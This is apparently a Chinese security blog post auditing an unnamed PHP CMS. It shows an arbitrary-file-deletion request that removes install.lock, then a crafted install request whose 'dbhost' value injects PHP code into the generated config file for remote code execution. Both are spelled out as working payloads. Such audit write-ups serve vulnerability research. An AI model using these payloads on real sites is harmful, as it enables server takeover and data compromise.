前言
最近在社区看文章的时候,发现大都数人在审计前的分析很详细,但是在找漏洞时太依靠工具,所以感觉应该还会存在一些漏洞,故有了本篇。
漏洞分析
在我们对该CMS进行安装后,我们发现:
安装后任然存在install目录,并且会生成一个install.lock文件来标记,使我们不能再次安装。
所以,我们只要找到一个任意文件删除漏洞就可以把这个文件删除掉,然后就能进行重装,所以在全局搜索unl ink
函数后,在前台的/app/controller/kindeditor.class.php
的delete
函数中发现了这段代码:
所以我们看到只要构造这样的payload:?ac=kindeditor_delete&pic=/app/data/install.lock
就能够把install.lock
删除然后就存在了重装漏洞了。
但是,一次审计,目的肯定是想要进行getshell,所以上述的漏洞当然不能满足我们的需求。但是我们都知道想要getshell,就只有传入一个能执行的马,但是该CMS对文件上传采用的是白名单,所以先暂时不对其进行考虑,这里,我们考虑到在install
目录中,在对cms进行安装时,会存在一个写入生成默认配置的问题,所以,先打开/install.index.php
,通读代码后发现大致利用代码如下:
$step = isset($\_GET\['step'\]) ? $\_GET\['step'\] : 1;......switch ($step) {...... case '4': if (intval($\_GET\['install'\])) { $n = intval($\_GET\['n'\]); $arr = array(); $dbHost = trim($\_POST\['dbhost'\]); $dbPort = trim($\_POST\['dbport'\]); $dbName = trim($\_POST\['dbname'\]); $dbHost = empty($dbPort) || $dbPort == 3306 ? $dbHost : $dbHost . ':' . $dbPort; $dbUser = trim($\_POST\['dbuser'\]); $dbPwd = trim($\_POST\['dbpw'\]); $dbPrefix = empty($\_POST\['dbprefix'\]) ? 'tc_' : trim($\_POST\['dbprefix'\]); $uname = trim($\_POST\['manager\_email'\]); $password = trim($\_POST\['manager\_pwd'\]); $webpath = trim($\_POST\['webpath'\]); $randkey = uniqid(rand()); $db\_pconnect = 0; $conn = @ mysql\_connect($dbHost, $dbUser, $dbPwd); if (!$conn) { $arr\['msg'\] = "连接数据库失败!"; die(json\_encode($arr)); } mysql\_query("SET NAMES 'UTF8'"); $version = mysql\_get\_server\_info($conn); if ($version < 4.1) { $arr\['msg'\] = '数据库版本太低!'; die(json\_encode($arr)); } if (!mysql\_select\_db($dbName, $conn)) { //创建数据时同时设置编码 if (!mysql\_query("CREATE DATAB ASE IF NOT EXISTS `" . $dbName . "` DEFAULT CHARACTER SET UTF8;", $conn)) { $arr\['msg'\] = '数据库 ' . $dbName . ' 不存在,也没权限创建新的数据库!'; die(json\_encode($arr)); } if (empty($n)) { $arr\['n'\] = 1; $arr\['msg'\] = "成功创建数据库:{$dbName}<br>"; die(json\_encode($arr)); } mysql\_select\_db($dbName, $conn); } //读取数据文件 $sqldata = file\_get\_contents('./' . $sqlFile); $password = md5($password); $website = 'http://'. SITE\_URL; $sqldata = str\_replace('{username}',$uname,$sqldata); $sqldata = str\_replace('{password}',$password,$sqldata); $sqldata = str\_replace('{time}',time(),$sqldata); $sqldata = str\_replace('{website}',$website,$sqldata); $sqldata = str\_replace('{webpath}',$webpath,$sqldata); $sqldata = str\_replace('{dbPrefix}',$dbPrefix,$sqldata); $sqlFormat = sql\_split($sqldata, $dbPrefix); //执行SQL语句 $counts = count($sqlFormat); for ($i = $n; $i < $counts; $i++) { $sql = trim($sqlFormat\[$i\]); if (strstr($sql, 'CREATE TABLE')) { preg\_match('/CREATE TABLE `(\[^ \]*)`/', $sql, $matches); mysql\_query("DROP TABLE IF EXISTS `$matches\[1\]"); $ret = mysql\_query($sql); if ($ret) { $message = '<li><span class="correct\_span">√</span>创建数据表' . $matches\[1\] . ',完成</li> '; } else { $message = '<li><span class="correct\_span error\_span">√</span>创建数据表' . $matches\[1\] . ',失败</li>'; } $i++; $arr = array('n' => $i, 'msg' => $message); die(json\_encode($arr)); } else { $ret = mysql\_query($sql); $message = ''; $arr = array('n' => $i, 'msg' => $message); } } if ($i == 999999) exit; $message = '成功添加站点信息<br />成功写入配置文件<br>安装完成.'; // $newmodelstr = "<?php \\n"; $newmodelstr .= " define('DBHOST', '" . $dbHost . "');\\n "; $newmodelstr .= "define('DBUSER', '" . $dbUser . "');\\n "; $newmodelstr .= "define('DBPWD', '" . $dbPwd . "');\\n "; $newmodelstr .= "define('DBNAME', '" . $dbName . "');\\n "; $newmodelstr .= "define('DBCODE', 'utf8');\\n "; $newmodelstr .= "define('DBCONN', " . $db\_pconnect . ");\\n "; $newmodelstr .= "define('MORESITE', false);\\n "; $newmodelstr .= "define('USEMC', false);\\n "; $newmodelstr .= "define('MCHOST', '127.0.0.1');\\n "; $newmodelstr .= "define('MCPORT','11211');\\n "; $newmodelstr .= "define('MCHOST2', '127.0.0.1');\\n "; $newmodelstr .= "define('MCPORT2','11211');\\n "; $newmodelstr .= "\\n?>\\n"; $targetFile = '../app/data/mysql.php'; @file\_put\_contents($targetFile, $newmodelstr); $arr = array('n' => 999999, 'msg' => $message); die(json\_encode($arr)); } include\_once ("./templates/s4.php"); exit;}
因为代码过长,所以省略了没必要的代码,我们先从上述代码分析,发现我们要写入的内容中,我们能控制的变量只有$dbHost
,$dbUser
,$dbPwd
,$dbName
。而$dbUser
,$dbPwd
,$dbName
却都是固定的,我们没法进行修改,所以我们更多的是考虑对$dbHost
进行一些修改来搞,具体修改请继续往下看。
首先我们要让step
等于4
时,我们就能直接跳到case 4
中执行,然后需要再给install
参数以get方式赋值为1
,然后后面的dbname
这些就是数据库的用户名,这些都是正常的输入就好了,这里需要注意的地方只有两个点,第一个点是:
case '4': if (intval($\_GET\['install'\])) { $n = intval($\_GET\['n'\]); ... if (empty($n)) { $arr\['n'\] = 1; $arr\['msg'\] = "成功创建数据库:{$dbName}<br>"; die(json\_encode($arr)); } ... for ($i = $n; $i < $counts; $i++) { $sql = trim($sqlFormat\[$i\]); if (strstr($sql, 'CREATE TABLE')) { preg\_match('/CREATE TABLE `(\[^ \]*)`/', $sql, $matches); mysql\_query("DROP TABLE IF EXISTS `$matches\[1\]"); $ret = mysql\_query($sql); if ($ret) { $message = '<li><span class="correct\_span">√</span>创建数据表' . $matches\[1\] . ',完成</li> '; } else { $message = '<li><span class="correct\_span error\_span">√</span>创建数据表' . $matches\[1\] . ',失败</li>'; } $i++; $arr = array('n' => $i, 'msg' => $message); die(json\_encode($arr)); } else { $ret = mysql_query($sql); $message = ''; $arr = array('n' => $i, 'msg' => $message); } }
这里,$n
是对程序有影响的。首先$n
不可以空,然后还有一个for循环需要用到它。这里我们可以直接让$n
为一个很大的值,就可以跳出for循环就好了。
第二个点是
$conn = @ mysql\_connect($dbHost, $dbUser, $dbPwd); if (!$conn) { $arr\['msg'\] = "连接数据库失败!"; die(json\_encode($arr)); }
我们要连接数据库,所以我们要填写正确的内容。但是$dbHost
, $dbUser
, $dbPwd
中后面两个是固定不能变的,所以我们考虑使用URL的锚点定位
,所以我们这样构造:dbhost=127.0.0.1:3306#');phpinfo();
就可以绕过去了。
所以最后的构造是:
GET:http://127.0.0.1:92/install/index.php?step=4&install=1&n=1111POST:dbhost=127.0.0.1:3306#');phpinfo();('111&dbname=wodecms&dbuser=root&dbpw=root&manager\_email=admin&manager\_pwd=admin123&webpath=/
后记
这个cms挺有意思的,开发在一些奇怪的地方很注意安全,但是再默认配置这里还存在修改数据库来改默认文件来,写入getshell的方式,这里就不多说了。有兴趣的小伙伴们可以自行下载该cms来进行审计!!!